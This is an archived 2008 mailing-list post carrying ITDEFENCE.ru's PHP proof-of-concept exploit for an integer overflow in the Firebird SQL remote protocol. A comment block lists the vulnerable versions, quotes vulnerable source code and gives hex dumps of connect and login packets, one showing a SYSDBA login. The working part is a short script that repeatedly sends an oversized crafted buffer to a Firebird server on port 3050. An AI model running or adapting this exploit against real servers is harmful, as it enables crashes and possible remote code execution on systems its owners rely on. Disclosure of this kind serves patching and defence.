underwateritdefence.ru
Date: Sun Mar 09 2008 - 08:02:19 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

ITDEFENCE.ru

Firebird is a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms.

<?php

/**
 * FIREBIRD REMOTE BUFFER OVERFLOW.
 * ITDEFENCE.ru Proof-of-Concept (POC)
 * Eugene Minaev (underwateritdefence.ru)
 *
 * Integer overflow in Firebird SQL 1.0.3 and earlier, 1.5.x before 1.5.6, 2.0.x before 2.0.4, and 2.1.x before 2.1.0
 * RC1 might allow remote attackers to execute arbitrary code via crafted op_receive, op_start, op_start_and_receive,
 * op_send, (5) op_start_and_send, and (6) op_start_send_and_receive XDR requests, which triggers memory corruption.
 *
 * Vulnerable packages
 *
 * Firebird SQL 1.0.3 and before.
 * Firebird SQL 1.5.5 and before.
 * Firebird SQL 2.0.3 and before.
 * Firebird SQL 2.1.0 Beta 2 and before.
 *
 * Non-vulnerable packages
 *
 * Firebird SQL 1.5.6 (to be released)
 * Firebird SQL 2.0.4 (to be released)
 * Firebird SQL 2.1.0 RC1
 *
 * src/remote/protocol.cpp:417
 *
 * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_request));
 * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_incarnation));
 * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_transaction));
 * MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_message_number));
 * return xdr_request(xdrs, data->p_data_request,
 * data->p_data_message_number,
 * data->p_data_incarnation) ? P_TRUE(xdrs, p) : P_FALSE(xdrs, p);
 *
 * Firebird Connect Packet
 *
 * 0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E.
 * 0x0010 00 BC 00 00 00 00 40 06-00 25 C0 A8 7C 63 C0 A8 .&#1112;......%&#1040;&#1025;|c&#1040;&#1025;
 * 0x0020 7C 63 0B EA 0E 94 00 00-00 01 00 00 00 01 50 10 |c.&#1082;.“........P.
 * 0x0030 40 00 00 00 00 00 00 00-00 01 00 00 00 13 00 00 ...............
 * 0x0040 00 02 00 00 00 1D 00 00-00 3C 43 3A 5C 50 72 6F .........<C:\Pro
 * 0x0050 67 72 61 6D 20 46 69 6C-65 73 5C 46 69 72 65 62 gram Files\Fireb
 * 0x0060 69 72 64 5C 46 69 72 65-62 69 72 64 5F 31 5F 35 ird\Firebird_1_5
 * 0x0070 5C 65 78 61 6D 70 6C 65-73 5C 45 4D 50 4C 4F 59 \examples\EMPLOY
 * 0x0080 45 45 2E 66 64 62 00 00-00 02 00 00 00 13 01 04 EE.fdb..........
 * 0x0090 52 4F 4F 54 04 09 75 6E-64 65 72 77 68 61 74 06 ROOT..underwhat.
 * 0x00A0 00 00 00 00 00 08 00 00-00 01 00 00 00 02 00 00 ................
 * 0x00B0 00 03 00 00 00 02 00 00-00 0A 00 00 00 01 00 00 ................
 * 0x00C0 00 02 00 00 00 03 00 00-00 04 ..........
 *
 * Firebird Login Packet.
 *
 * 0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E.
 * 0x0010 00 94 00 00 6C 6C 40 06-93 E0 C0 A8 7C 63 C0 A8 .“..ll.?&#1072;&#1040;&#1025;|c&#1040;&#1025;
 * 0x0020 7C 63 0B EA 0E 94 00 00-00 95 00 00 00 11 50 10 |c.&#1082;.“...•....P.
 * 0x0030 40 00 00 00 00 00 00 00-00 13 00 00 00 00 00 00 ...............
 * 0x0040 00 3C 43 3A 5C 50 72 6F-67 72 61 6D 20 46 69 6C .<C:\Program Fil
 * 0x0050 65 73 5C 46 69 72 65 62-69 72 64 5C 46 69 72 65 es\Firebird\Fire
 * 0x0060 62 69 72 64 5F 31 5F 35-5C 65 78 61 6D 70 6C 65 bird_1_5\example
 * 0x0070 73 5C 45 4D 50 4C 4F 59-45 45 2E 66 64 62 00 00 s\EMPLOYEE.fdb..
 * 0x0080 00 1E 01 1C 06 53 59 53-44 42 41 1E 0B 51 50 33 .....SYSDBA..QP3
 * 0x0090 4C 4D 5A 2F 4D 4A 68 2E-3A 04 00 00 00 00 3E 00 LMZ/MJh.:.....>.
 * 0x00A0 00 00 ..
 *
 */
 
    $___suntzu = "\x00\x00\x00\x4a" . str_repeat( "\x4a" , 3000);
    for ($temp = 0; $temp < 5; $temp ++){
       $___zuntzu = fsockopen('192.168.124.99',3050);
       fwrite($___zuntzu , $___suntzu);
       fclose($___zuntzu );
       sleep(1);
    }
 
?>

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]